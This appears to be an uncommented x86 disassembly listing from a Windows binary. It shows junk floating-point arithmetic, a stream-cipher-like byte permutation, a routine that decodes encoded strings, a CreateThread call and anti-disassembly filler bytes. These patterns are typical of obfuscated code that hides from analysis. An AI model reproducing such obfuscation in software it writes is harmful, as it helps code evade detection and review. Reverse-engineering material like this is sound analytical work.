mulsd xmm0, qword [ebp - 0x64c]
movsd qword [ebp - 0x59c], xmm0
movsd xmm0, qword [ebp - 0x5b8]
mulsd xmm0, qword [ebp - 0x568]
movsd qword [ebp - 0x5b8], xmm0
movsd xmm0, qword [ebp - 0x5b8]
comisd xmm0, xmmword [ebp - 0x568]
jbe 0x56a789
movsd xmm0, qword [ebp - 0x5f4]
divsd xmm0, qword [ebp - 0x59c]
movsd qword [ebp - 0x5f4], xmm0
movsd xmm0, qword [ebp - 0x568]
subsd xmm0, qword [ebp - 0x5f4]
movsd qword [ebp - 0x568], xmm0
movsd xmm0, qword [ebp - 0x568]
divsd xmm0, qword [ebp - 0x5f4]
movsd qword [ebp - 0x568], xmm0
movsd xmm0, qword [ebp - 0x64c]
mulsd xmm0, qword [ebp - 0x568]
movsd qword [ebp - 0x64c], xmm0
movsd xmm0, qword [ebp - 0x59c]
addsd xmm0, qword [ebp - 0x5b8]
movsd qword [ebp - 0x59c], xmm0
jmp 0x56a801
movsd xmm0, qword [ebp - 0x568]
mulsd xmm0, qword [ebp - 0x59c]
movsd qword [ebp - 0x568], xmm0
movsd xmm0, qword [ebp - 0x568]
divsd xmm0, qword [ebp - 0x59c]
movsd qword [ebp - 0x568], xmm0
movsd xmm0, qword [ebp - 0x5f4]
mulsd xmm0, qword [ebp - 0x5b8]
movsd qword [ebp - 0x5f4], xmm0
movsd xmm0, qword [ebp - 0x64c]
subsd xmm0, qword [ebp - 0x5f4]
movsd qword [ebp - 0x64c], xmm0
movsd xmm0, qword [ebp - 0x59c]
addsd xmm0, qword [ebp - 0x64c]
movsd qword [ebp - 0x59c], xmm0
jmp 0x56a892
movsd xmm0, qword [ebp - 0x568]
addsd xmm0, qword [ebp - 0x5f4]
movsd qword [ebp - 0x568], xmm0
movsd xmm0, qword [ebp - 0x64c]
subsd xmm0, qword [ebp - 0x568]
movsd qword [ebp - 0x64c], xmm0
movsd xmm0, qword [ebp - 0x568]
mulsd xmm0, qword [ebp - 0x5f4]
movsd qword [ebp - 0x568], xmm0
movsd xmm0, qword [ebp - 0x5f4]
mulsd xmm0, qword [ebp - 0x59c]
movsd qword [ebp - 0x5f4], xmm0
movsd xmm0, qword [ebp - 0x5b8]
mulsd xmm0, qword [ebp - 0x64c]
movsd qword [ebp - 0x5b8], xmm0
movzx eax, byte [ebp - 0x4aa]
mov cl, byte [ebp - 0x4c4]
mov byte [ebp + eax - 0xc48], cl
movzx eax, byte [ebp - 0x4c4]
movzx eax, byte [ebp + eax - 0xc48]
movzx ecx, byte [ebp - 0x4c3]
add ecx, eax
mov byte [ebp - 0x4c3], cl
movzx eax, byte [ebp - 0x4c5]
movzx ecx, byte [ebp - 0x4ae]
movzx ecx, byte [ebp + ecx - 0xc48]
movzx edx, byte [ebp - 0x4aa]
movzx edx, byte [ebp + edx - 0xc48]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xc48]
xor eax, ecx
movzx ecx, byte [ebp - 0x4b1]
movzx ecx, byte [ebp + ecx - 0xc48]
movzx edx, byte [ebp - 0x4b8]
movzx edx, byte [ebp + edx - 0xc48]
add ecx, edx
movzx edx, byte [ebp - 0x4c3]
movzx edx, byte [ebp + edx - 0xc48]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xc48]
movzx ecx, byte [ebp + ecx - 0xc48]
xor eax, ecx
mov byte [ebp - 0x4b1], al
mov al, byte [ebp - 0x4c5]
mov byte [ebp - 0x4b8], al
mov al, byte [ebp - 0x4b1]
mov byte [ebp - 0x4d6], al
cmp dword [ebp - 0x4e8], 0
jle 0x56a96a
movsx ax, byte [ebp - 0x4d6]
mov ecx, dword [ebp - 0x4e8]
mov word [ebp + ecx*2 - 0x1e], ax
mov eax, dword [ebp - 0x4e8]
inc eax
mov dword [ebp - 0x4e8], eax
mov eax, dword [ebp - 0x6a4]
inc eax
mov dword [ebp - 0x6a4], eax
movsd xmm0, qword [0xa6cbc0]
movsd qword [ebp - 0x6d8], xmm0
movsd xmm0, qword [0xa6cb68]
movsd qword [ebp - 0x5fc], xmm0
movsd xmm0, qword [0xa6caf0]
movsd qword [ebp - 0x770], xmm0
movsd xmm0, qword [0xa6ca48]
movsd qword [ebp - 0x758], xmm0
movsd xmm0, qword [ebp - 0x5fc]
subsd xmm0, qword [ebp - 0x758]
movsd qword [ebp - 0x5fc], xmm0
movsd xmm0, qword [ebp - 0x5fc]
mulsd xmm0, qword [ebp - 0x758]
movsd qword [ebp - 0x5fc], xmm0
movsd xmm0, qword [ebp - 0x5fc]
subsd xmm0, qword [ebp - 0x758]
movsd qword [ebp - 0x5fc], xmm0
movsd xmm0, qword [ebp - 0x770]
subsd xmm0, qword [ebp - 0x758]
movsd qword [ebp - 0x770], xmm0
movsd xmm0, qword [ebp - 0x5fc]
comisd xmm0, xmmword [ebp - 0x770]
jbe 0x56aaa9
movsd xmm0, qword [ebp - 0x770]
addsd xmm0, qword [ebp - 0x758]
movsd qword [ebp - 0x770], xmm0
movsd xmm0, qword [ebp - 0x6d8]
addsd xmm0, qword [ebp - 0x5fc]
movsd qword [ebp - 0x6d8], xmm0
movsd xmm0, qword [ebp - 0x758]
mulsd xmm0, qword [ebp - 0x6d8]
movsd qword [ebp - 0x758], xmm0
movsd xmm0, qword [ebp - 0x6d8]
subsd xmm0, qword [ebp - 0x5fc]
movsd qword [ebp - 0x6d8], xmm0
mov eax, dword [ebp - 0x4e8]
shl eax, 1
mov dword [ebp - 0x6e4], eax
jmp 0x56ac3d
movsd xmm0, qword [ebp - 0x770]
mulsd xmm0, qword [ebp - 0x758]
movsd qword [ebp - 0x770], xmm0
movsd xmm0, qword [ebp - 0x770]
subsd xmm0, qword [ebp - 0x758]
movsd qword [ebp - 0x770], xmm0
movsd xmm0, qword [ebp - 0x6d8]
addsd xmm0, qword [ebp - 0x5fc]
movsd qword [ebp - 0x6d8], xmm0
movsd xmm0, qword [ebp - 0x5fc]
addsd xmm0, qword [ebp - 0x770]
movsd qword [ebp - 0x5fc], xmm0
movsd xmm0, qword [ebp - 0x5fc]
subsd xmm0, qword [ebp - 0x758]
movsd qword [ebp - 0x5fc], xmm0
movsd xmm0, qword [ebp - 0x5fc]
mulsd xmm0, qword [ebp - 0x758]
movsd qword [ebp - 0x5fc], xmm0
movsd xmm0, qword [ebp - 0x770]
addsd xmm0, qword [ebp - 0x6d8]
movsd qword [ebp - 0x770], xmm0
movsd xmm0, qword [ebp - 0x5fc]
divsd xmm0, qword [ebp - 0x758]
movsd qword [ebp - 0x5fc], xmm0
movsd xmm0, qword [ebp - 0x770]
comisd xmm0, xmmword [ebp - 0x6d8]
jbe 0x56abdd
movsd xmm0, qword [ebp - 0x758]
divsd xmm0, qword [ebp - 0x6d8]
movsd qword [ebp - 0x758], xmm0
movsd xmm0, qword [ebp - 0x6d8]
subsd xmm0, qword [ebp - 0x5fc]
movsd qword [ebp - 0x6d8], xmm0
movsd xmm0, qword [ebp - 0x6d8]
mulsd xmm0, qword [ebp - 0x5fc]
movsd qword [ebp - 0x6d8], xmm0
movsd xmm0, qword [ebp - 0x6d8]
addsd xmm0, qword [ebp - 0x5fc]
movsd qword [ebp - 0x6d8], xmm0
jmp 0x56ac3d
movsd xmm0, qword [ebp - 0x5fc]
subsd xmm0, qword [ebp - 0x770]
movsd qword [ebp - 0x5fc], xmm0
movsd xmm0, qword [ebp - 0x758]
mulsd xmm0, qword [ebp - 0x6d8]
movsd qword [ebp - 0x758], xmm0
movsd xmm0, qword [ebp - 0x6d8]
divsd xmm0, qword [ebp - 0x5fc]
movsd qword [ebp - 0x6d8], xmm0
movsd xmm0, qword [ebp - 0x6d8]
subsd xmm0, qword [ebp - 0x5fc]
movsd qword [ebp - 0x6d8], xmm0
mov eax, dword [ebp - 0x6e0]
add eax, dword [ebp - 0x6e4]
movzx eax, byte [eax]
mov dword [ebp - 0x68c], eax
mov dword [ebp - 0x690], 0x63
mov eax, dword [ebp - 0x4e8]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x6dc], eax
mov eax, dword [ebp - 0x6e0]
add eax, dword [ebp - 0x6dc]
movzx eax, byte [eax]
mov dword [ebp - 0x654], eax
mov dword [ebp - 0x658], 0x21
mov eax, dword [ebp - 0x68c]
sub eax, dword [ebp - 0x690]
mov dword [ebp - 0x65c], eax
mov eax, dword [ebp - 0x654]
sub eax, dword [ebp - 0x658]
mov dword [ebp - 0x660], eax
mov eax, dword [ebp - 0x65c]
shl eax, 4
mov dword [ebp - 0x6d0], eax
mov eax, dword [ebp - 0x660]
mov dword [ebp - 0x6cc], eax
mov eax, dword [ebp - 0x6d0]
or eax, dword [ebp - 0x6cc]
mov dword [ebp - 0x6c8], eax
mov al, byte [ebp - 0x6c8]
mov byte [ebp - 0x4c5], al
movzx eax, byte [ebp - 0x4b8]
mov al, byte [ebp + eax - 0xc48]
mov byte [ebp - 0x4c4], al
movzx eax, byte [ebp - 0x4aa]
movzx eax, byte [ebp + eax - 0xc48]
movzx ecx, byte [ebp - 0x4ae]
add ecx, eax
mov byte [ebp - 0x4ae], cl
mov al, byte [ebp - 0x4aa]
add al, 1
mov byte [ebp - 0x4aa], al
movzx eax, byte [ebp - 0x4ae]
movzx ecx, byte [ebp - 0x4b8]
mov al, byte [ebp + eax - 0xc48]
mov byte [ebp + ecx - 0xc48], al
movzx eax, byte [ebp - 0x4b1]
movzx ecx, byte [ebp - 0x4ae]
mov al, byte [ebp + eax - 0xc48]
mov byte [ebp + ecx - 0xc48], al
movzx eax, byte [ebp - 0x4aa]
movzx ecx, byte [ebp - 0x4b1]
mov al, byte [ebp + eax - 0xc48]
mov byte [ebp + ecx - 0xc48], al
movzx eax, byte [ebp - 0x4aa]
mov cl, byte [ebp - 0x4c4]
mov byte [ebp + eax - 0xc48], cl
movzx eax, byte [ebp - 0x4c4]
movzx eax, byte [ebp + eax - 0xc48]
movzx ecx, byte [ebp - 0x4c3]
add ecx, eax
mov byte [ebp - 0x4c3], cl
movzx eax, byte [ebp - 0x4c5]
movzx ecx, byte [ebp - 0x4ae]
movzx ecx, byte [ebp + ecx - 0xc48]
movzx edx, byte [ebp - 0x4aa]
movzx edx, byte [ebp + edx - 0xc48]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xc48]
xor eax, ecx
movzx ecx, byte [ebp - 0x4b1]
movzx ecx, byte [ebp + ecx - 0xc48]
movzx edx, byte [ebp - 0x4b8]
movzx edx, byte [ebp + edx - 0xc48]
add ecx, edx
movzx edx, byte [ebp - 0x4c3]
movzx edx, byte [ebp + edx - 0xc48]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xc48]
movzx ecx, byte [ebp + ecx - 0xc48]
xor eax, ecx
mov byte [ebp - 0x4b1], al
mov al, byte [ebp - 0x4c5]
mov byte [ebp - 0x4b8], al
mov al, byte [ebp - 0x4b1]
mov byte [ebp - 0x4d6], al
cmp dword [ebp - 0x4e8], 0
jle 0x56ae68
movsx ax, byte [ebp - 0x4d6]
mov ecx, dword [ebp - 0x4e8]
mov word [ebp + ecx*2 - 0x1e], ax
mov eax, dword [ebp - 0x4e8]
inc eax
mov dword [ebp - 0x4e8], eax
mov eax, dword [ebp - 0x6a4]
inc eax
mov dword [ebp - 0x6a4], eax
mov eax, dword [ebp - 0x4e8]
shl eax, 1
mov dword [ebp - 0x6e4], eax
mov eax, dword [ebp - 0x6e0]
add eax, dword [ebp - 0x6e4]
movzx eax, byte [eax]
mov dword [ebp - 0x68c], eax
mov dword [ebp - 0x690], 0x63
mov eax, dword [ebp - 0x4e8]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x6dc], eax
mov eax, dword [ebp - 0x6e0]
add eax, dword [ebp - 0x6dc]
movzx eax, byte [eax]
mov dword [ebp - 0x654], eax
mov dword [ebp - 0x658], 0x21
mov eax, dword [ebp - 0x68c]
sub eax, dword [ebp - 0x690]
mov dword [ebp - 0x65c], eax
mov eax, dword [ebp - 0x654]
sub eax, dword [ebp - 0x658]
mov dword [ebp - 0x660], eax
mov eax, dword [ebp - 0x65c]
shl eax, 4
mov dword [ebp - 0x6d0], eax
mov eax, dword [ebp - 0x660]
mov dword [ebp - 0x6cc], eax
mov eax, dword [ebp - 0x6d0]
or eax, dword [ebp - 0x6cc]
mov dword [ebp - 0x6c8], eax
mov al, byte [ebp - 0x6c8]
mov byte [ebp - 0x4c5], al
movzx eax, byte [ebp - 0x4b8]
mov al, byte [ebp + eax - 0xc48]
mov byte [ebp - 0x4c4], al
movzx eax, byte [ebp - 0x4aa]
movzx eax, byte [ebp + eax - 0xc48]
movzx ecx, byte [ebp - 0x4ae]
add ecx, eax
mov byte [ebp - 0x4ae], cl
mov al, byte [ebp - 0x4aa]
add al, 1
mov byte [ebp - 0x4aa], al
movzx eax, byte [ebp - 0x4ae]
movzx ecx, byte [ebp - 0x4b8]
mov al, byte [ebp + eax - 0xc48]
mov byte [ebp + ecx - 0xc48], al
movzx eax, byte [ebp - 0x4b1]
movzx ecx, byte [ebp - 0x4ae]
mov al, byte [ebp + eax - 0xc48]
mov byte [ebp + ecx - 0xc48], al
movzx eax, byte [ebp - 0x4aa]
movzx ecx, byte [ebp - 0x4b1]
mov al, byte [ebp + eax - 0xc48]
mov byte [ebp + ecx - 0xc48], al
movzx eax, byte [ebp - 0x4aa]
mov cl, byte [ebp - 0x4c4]
mov byte [ebp + eax - 0xc48], cl
movzx eax, byte [ebp - 0x4c4]
movzx eax, byte [ebp + eax - 0xc48]
movzx ecx, byte [ebp - 0x4c3]
add ecx, eax
mov byte [ebp - 0x4c3], cl
movzx eax, byte [ebp - 0x4c5]
movzx ecx, byte [ebp - 0x4ae]
movzx ecx, byte [ebp + ecx - 0xc48]
movzx edx, byte [ebp - 0x4aa]
movzx edx, byte [ebp + edx - 0xc48]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xc48]
xor eax, ecx
movzx ecx, byte [ebp - 0x4b1]
movzx ecx, byte [ebp + ecx - 0xc48]
movzx edx, byte [ebp - 0x4b8]
movzx edx, byte [ebp + edx - 0xc48]
add ecx, edx
movzx edx, byte [ebp - 0x4c3]
movzx edx, byte [ebp + edx - 0xc48]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xc48]
movzx ecx, byte [ebp + ecx - 0xc48]
xor eax, ecx
mov byte [ebp - 0x4b1], al
mov al, byte [ebp - 0x4c5]
mov byte [ebp - 0x4b8], al
mov al, byte [ebp - 0x4b1]
mov byte [ebp - 0x4d6], al
cmp dword [ebp - 0x4e8], 0
jle 0x56b0bb
movsx ax, byte [ebp - 0x4d6]
mov ecx, dword [ebp - 0x4e8]
mov word [ebp + ecx*2 - 0x1e], ax
mov eax, dword [ebp - 0x4e8]
inc eax
mov dword [ebp - 0x4e8], eax
mov eax, dword [ebp - 0x6a4]
inc eax
mov dword [ebp - 0x6a4], eax
mov eax, dword [ebp - 0x4e8]
shl eax, 1
mov dword [ebp - 0x6e4], eax
mov eax, dword [ebp - 0x6e0]
add eax, dword [ebp - 0x6e4]
movzx eax, byte [eax]
mov dword [ebp - 0x68c], eax
mov dword [ebp - 0x690], 0x63
mov eax, dword [ebp - 0x4e8]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x6dc], eax
mov eax, dword [ebp - 0x6e0]
add eax, dword [ebp - 0x6dc]
movzx eax, byte [eax]
mov dword [ebp - 0x654], eax
mov dword [ebp - 0x658], 0x21
mov eax, dword [ebp - 0x68c]
sub eax, dword [ebp - 0x690]
mov dword [ebp - 0x65c], eax
mov eax, dword [ebp - 0x654]
sub eax, dword [ebp - 0x658]
mov dword [ebp - 0x660], eax
mov eax, dword [ebp - 0x65c]
shl eax, 4
mov dword [ebp - 0x6d0], eax
mov eax, dword [ebp - 0x660]
mov dword [ebp - 0x6cc], eax
mov eax, dword [ebp - 0x6d0]
or eax, dword [ebp - 0x6cc]
mov dword [ebp - 0x6c8], eax
mov al, byte [ebp - 0x6c8]
mov byte [ebp - 0x4c5], al
movzx eax, byte [ebp - 0x4b8]
mov al, byte [ebp + eax - 0xc48]
mov byte [ebp - 0x4c4], al
movzx eax, byte [ebp - 0x4aa]
movzx eax, byte [ebp + eax - 0xc48]
movzx ecx, byte [ebp - 0x4ae]
add ecx, eax
mov byte [ebp - 0x4ae], cl
mov al, byte [ebp - 0x4aa]
add al, 1
mov byte [ebp - 0x4aa], al
movzx eax, byte [ebp - 0x4ae]
movzx ecx, byte [ebp - 0x4b8]
mov al, byte [ebp + eax - 0xc48]
mov byte [ebp + ecx - 0xc48], al
movzx eax, byte [ebp - 0x4b1]
movzx ecx, byte [ebp - 0x4ae]
mov al, byte [ebp + eax - 0xc48]
mov byte [ebp + ecx - 0xc48], al
movzx eax, byte [ebp - 0x4aa]
movzx ecx, byte [ebp - 0x4b1]
mov al, byte [ebp + eax - 0xc48]
mov byte [ebp + ecx - 0xc48], al
movzx eax, byte [ebp - 0x4aa]
mov cl, byte [ebp - 0x4c4]
mov byte [ebp + eax - 0xc48], cl
movzx eax, byte [ebp - 0x4c4]
movzx eax, byte [ebp + eax - 0xc48]
movzx ecx, byte [ebp - 0x4c3]
add ecx, eax
mov byte [ebp - 0x4c3], cl
movzx eax, byte [ebp - 0x4c5]
movzx ecx, byte [ebp - 0x4ae]
movzx ecx, byte [ebp + ecx - 0xc48]
movzx edx, byte [ebp - 0x4aa]
movzx edx, byte [ebp + edx - 0xc48]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xc48]
xor eax, ecx
movzx ecx, byte [ebp - 0x4b1]
movzx ecx, byte [ebp + ecx - 0xc48]
movzx edx, byte [ebp - 0x4b8]
movzx edx, byte [ebp + edx - 0xc48]
add ecx, edx
movzx edx, byte [ebp - 0x4c3]
movzx edx, byte [ebp + edx - 0xc48]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xc48]
movzx ecx, byte [ebp + ecx - 0xc48]
xor eax, ecx
mov byte [ebp - 0x4b1], al
mov al, byte [ebp - 0x4c5]
mov byte [ebp - 0x4b8], al
mov al, byte [ebp - 0x4b1]
mov byte [ebp - 0x4d6], al
cmp dword [ebp - 0x4e8], 0
jle 0x56b30e
movsx ax, byte [ebp - 0x4d6]
mov ecx, dword [ebp - 0x4e8]
mov word [ebp + ecx*2 - 0x1e], ax
push 2
pop eax
shl eax, 2
mov dword [ebp - 0x8f4], eax
cmp dword [ebp - 0x8f4], 0xa
jae 0x56b325
jmp 0x56b32a
call fcn.009ec5b7
xor eax, eax
mov ecx, dword [ebp - 0x8f4]
mov word [ebp + ecx - 0x1c], ax
jmp 0x56b385
and dword [ebp - 0x858], 0
jmp 0x56b34f
mov eax, dword [ebp - 0x858]
inc eax
mov dword [ebp - 0x858], eax
cmp dword [ebp - 0x858], 5
jge 0x56b385
mov eax, dword [ebp - 0x858]
shl eax, 1
mov dword [ebp - 0x8f0], eax
cmp dword [ebp - 0x8f0], 0xa
jae 0x56b371
jmp 0x56b376
call fcn.009ec5b7
xor eax, eax
mov ecx, dword [ebp - 0x8f0]
mov word [ebp + ecx - 0x1c], ax
jmp 0x56b342
xor eax, eax
mov ecx, dword [ebp - 0x890]
mov word [ecx], ax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x7e8], eax
mov eax, dword [ebp - 0x7e8]
mov dword [ebp - 0x8ec], eax
mov eax, dword [ebp - 0x7e8]
mov ax, word [eax]
mov word [ebp - 0x86a], ax
add dword [ebp - 0x7e8], 2
cmp word [ebp - 0x86a], 0
jne 0x56b3a5
mov eax, dword [ebp - 0x7e8]
sub eax, dword [ebp - 0x8ec]
mov ecx, dword [ebp - 0x8ec]
mov dword [ebp - 0xa20], ecx
mov dword [ebp - 0xa24], eax
lea eax, [ebp - 0x26c]
dec eax
dec eax
mov dword [ebp - 0x838], eax
mov eax, dword [ebp - 0x838]
mov ax, word [eax + 2]
mov word [ebp - 0x86c], ax
add dword [ebp - 0x838], 2
cmp word [ebp - 0x86c], 0
jne 0x56b3f2
mov edi, dword [ebp - 0x838]
mov esi, dword [ebp - 0xa20]
mov eax, dword [ebp - 0xa24]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x26c]
push eax
lea eax, [ebp - 0x474]
push eax
call fcn.00a435d4
pop ecx
pop ecx
lea eax, [ebp - 0x26c]
push eax
mov ecx, dword [ebp + 8]
call fcn.004ed5fa
lea eax, [ebp - 0x47c]
push eax
push 0
push dword [ebp + 8]
push 0x570c26
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 4
lea ecx, [ebp - 0x478]
call fcn.00490850
lea ecx, [ebp - 0x478]
call fcn.004184a2
and dword [ebp - 4], 0
and dword [ebp - 0x488], 0
and dword [ebp - 0x480], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x818], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x7ac], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x7ac], xmm0
jmp 0x56b4d8
movsd xmm0, qword [ebp - 0x7ac]
addsd xmm0, qword [0xa68340]
movsd qword [ebp - 0x7ac], xmm0
movsd xmm0, qword [0xa6b420]
comisd xmm0, xmmword [ebp - 0x7ac]
jbe 0x56b589
movsd xmm0, qword [0xa6b3c8]
mulsd xmm0, qword [ebp - 0x7ac]
mulsd xmm0, qword [ebp - 0x7ac]
movsd xmm1, qword [ebp - 0x7ac]
mulsd xmm1, qword [ebp - 0x7ac]
subsd xmm0, xmm1
movsd xmm1, qword [0xa6b320]
mulsd xmm1, qword [ebp - 0x7ac]
mulsd xmm1, qword [ebp - 0x7ac]
addsd xmm1, qword [0xa6b330]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x818]
movsd qword [ebp - 0x818], xmm0
movsd xmm0, qword [ebp - 0x818]
comisd xmm0, xmmword [0xa6b370]
jbe 0x56b584
movsd xmm0, qword [0xa6b2d8]
mulsd xmm0, qword [ebp - 0x7ac]
movsd xmm1, qword [ebp - 0x818]
subsd xmm1, xmm0
movsd qword [ebp - 0x818], xmm1
jmp 0x56b4c0
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x818]
jbe 0x56b5c6
aam 5
ror dword [0xfce0bcd], 1
int3
mov dword [ebp - 0x488], 0x56b596
mov dword [ebp - 0x480], 0x56b5ae
mov eax, dword [ebp - 0x488]
mov dword [ebp - 0x6c0], eax
mov eax, dword [ebp - 0x480]
mov dword [ebp - 0xa34], eax
mov byte [ebp - 0x691], 0x17
and dword [ebp - 0x538], 0
jmp 0x56b60f
mov eax, dword [ebp - 0x538]
inc eax
mov dword [ebp - 0x538], eax
cmp dword [ebp - 0x538], 0x100
jae 0x56b630
mov eax, dword [ebp - 0x538]
mov cl, byte [ebp - 0x538]
mov byte [ebp + eax - 0xd48], cl
jmp 0x56b602
and dword [ebp - 0x77c], 0
mov byte [ebp - 0x4c8], 0
mov dword [ebp - 0x538], 0xff
jmp 0x56b657
mov eax, dword [ebp - 0x538]
dec eax
mov dword [ebp - 0x538], eax
cmp dword [ebp - 0x538], 0
jbe 0x56b8dc
and dword [ebp - 0x884], 0
mov dword [ebp - 0x834], 1
mov eax, dword [ebp - 0x834]
cmp eax, dword [ebp - 0x538]
jae 0x56b695
mov eax, dword [ebp - 0x834]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x834], eax
jmp 0x56b675
mov eax, dword [ebp - 0x77c]
mov dword [ebp - 0xa30], eax
mov eax, dword [ebp - 0xa30]
mov dword [ebp - 0x614], eax
cmp dword [ebp - 0x614], 0
je 0x56b6da
sub dword [ebp - 0x614], 1
je 0x56b708
sub dword [ebp - 0x614], 1
je 0x56b739
sub dword [ebp - 0x614], 1
je 0x56b767
jmp 0x56b795
movzx eax, byte [ebp - 0x4c8]
movzx ebx, byte [ebp + eax - 0xd48]
movsd xmm0, qword [ebp - 0x818]
call fcn.009eca90
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x4c8], bl
jmp 0x56b7bc
movzx eax, byte [ebp - 0x4c8]
movzx ebx, byte [ebp + eax - 0xd48]
movsd xmm0, qword [ebp - 0x818]
call fcn.009eca90
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x4c8], bl
jmp 0x56b7bc
movzx eax, byte [ebp - 0x4c8]
movzx ebx, byte [ebp + eax - 0xd48]
movsd xmm0, qword [ebp - 0x818]
call fcn.009eca90
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x4c8], bl
jmp 0x56b7bc
movzx eax, byte [ebp - 0x4c8]
movzx ebx, byte [ebp + eax - 0xd48]
movsd xmm0, qword [ebp - 0x818]
call fcn.009eca90
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x4c8], bl
jmp 0x56b7bc
movzx eax, byte [ebp - 0x4c8]
movzx eax, byte [ebp + eax - 0xd48]
mov ecx, dword [ebp - 0xa34]
add ecx, dword [ebp - 0x77c]
movzx ecx, byte [ecx - 4]
add eax, ecx
mov byte [ebp - 0x4c8], al
mov eax, dword [ebp - 0x77c]
inc eax
mov dword [ebp - 0x77c], eax
movzx eax, byte [ebp - 0x691]
cmp dword [ebp - 0x77c], eax
jb 0x56b7f5
and dword [ebp - 0x77c], 0
movzx eax, byte [ebp - 0x691]
movzx ecx, byte [ebp - 0x4c8]
add ecx, eax
mov byte [ebp - 0x4c8], cl
movzx eax, byte [ebp - 0x4c8]
and eax, dword [ebp - 0x834]
mov dword [ebp - 0x738], eax
mov eax, dword [ebp - 0x884]
inc eax
mov dword [ebp - 0x884], eax
cmp dword [ebp - 0x884], 0xb
jbe 0x56b832
mov eax, dword [ebp - 0x738]
xor edx, edx
div dword [ebp - 0x538]
mov dword [ebp - 0x738], edx
mov eax, dword [ebp - 0x738]
cmp eax, dword [ebp - 0x538]
ja 0x56b695
mov eax, dword [ebp - 0x538]
cmp eax, dword [ebp - 0x738]
je 0x56b8d7
mov eax, dword [ebp - 0x738]
movzx eax, byte [ebp + eax - 0xd48]
mov ecx, dword [ebp - 0x538]
movzx ecx, byte [ebp + ecx - 0xd48]
xor ecx, eax
mov eax, dword [ebp - 0x538]
mov byte [ebp + eax - 0xd48], cl
mov eax, dword [ebp - 0x538]
movzx eax, byte [ebp + eax - 0xd48]
mov ecx, dword [ebp - 0x738]
movzx ecx, byte [ebp + ecx - 0xd48]
xor ecx, eax
mov eax, dword [ebp - 0x738]
mov byte [ebp + eax - 0xd48], cl
mov eax, dword [ebp - 0x738]
movzx eax, byte [ebp + eax - 0xd48]
mov ecx, dword [ebp - 0x538]
movzx ecx, byte [ebp + ecx - 0xd48]
xor ecx, eax
mov eax, dword [ebp - 0x538]
mov byte [ebp + eax - 0xd48], cl
jmp 0x56b64a
xor eax, eax
inc eax
shl eax, 0
mov al, byte [ebp + eax - 0xd48]
mov byte [ebp - 0x4ab], al
xor eax, eax
inc eax
imul eax, eax, 3
mov al, byte [ebp + eax - 0xd48]
mov byte [ebp - 0x4b0], al
xor eax, eax
inc eax
imul eax, eax, 5
mov al, byte [ebp + eax - 0xd48]
mov byte [ebp - 0x4c0], al
xor eax, eax
inc eax
imul eax, eax, 7
mov al, byte [ebp + eax - 0xd48]
mov byte [ebp - 0x4af], al
movzx eax, byte [ebp - 0x4c8]
mov al, byte [ebp + eax - 0xd48]
mov byte [ebp - 0x4b7], al
mov dword [ebp - 0x8e8], 0x18
cmp dword [ebp - 0x8e8], 2
jle 0x56ce87
mov eax, dword [ebp - 0x8e8]
and eax, 1
jne 0x56ce87
and dword [ebp - 0x4e4], 0
and dword [ebp - 0x58c], 0
mov eax, dword [ebp - 0x58c]
inc eax
mov dword [ebp - 0x58c], eax
and dword [ebp - 0x6c4], 0
mov eax, dword [ebp - 0x4e4]
shl eax, 1
mov dword [ebp - 0x6c4], eax
and dword [ebp - 0x664], 0
mov eax, dword [ebp - 0x6c0]
add eax, dword [ebp - 0x6c4]
movzx eax, byte [eax]
add eax, dword [ebp - 0x664]
mov dword [ebp - 0x664], eax
and dword [ebp - 0x668], 0
mov eax, dword [ebp - 0x668]
add eax, 0xc5
mov dword [ebp - 0x668], eax
and dword [ebp - 0x6bc], 0
mov eax, dword [ebp - 0x4e4]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x6bc], eax
and dword [ebp - 0x680], 0
mov eax, dword [ebp - 0x6c0]
add eax, dword [ebp - 0x6bc]
movzx eax, byte [eax]
add eax, dword [ebp - 0x680]
mov dword [ebp - 0x680], eax
and dword [ebp - 0x698], 0
mov eax, dword [ebp - 0x698]
add eax, 5
mov dword [ebp - 0x698], eax
and dword [ebp - 0x670], 0
mov eax, dword [ebp - 0x664]
sub eax, dword [ebp - 0x668]
add eax, dword [ebp - 0x670]
mov dword [ebp - 0x670], eax
and dword [ebp - 0x674], 0
mov eax, dword [ebp - 0x680]
sub eax, dword [ebp - 0x698]
add eax, dword [ebp - 0x674]
mov dword [ebp - 0x674], eax
and dword [ebp - 0x6b8], 0
mov eax, dword [ebp - 0x670]
shl eax, 4
mov dword [ebp - 0x6b8], eax
and dword [ebp - 0x6b0], 0
mov eax, dword [ebp - 0x674]
mov dword [ebp - 0x6b0], eax
and dword [ebp - 0x6b4], 0
mov eax, dword [ebp - 0x6b8]
or eax, dword [ebp - 0x6b0]
mov dword [ebp - 0x6b4], eax
mov byte [ebp - 0x4c1], 0
mov al, byte [ebp - 0x6b4]
mov byte [ebp - 0x4c1], al
mov byte [ebp - 0x4bf], 0
movzx eax, byte [ebp - 0x4b7]
mov al, byte [ebp + eax - 0xd48]
mov byte [ebp - 0x4bf], al
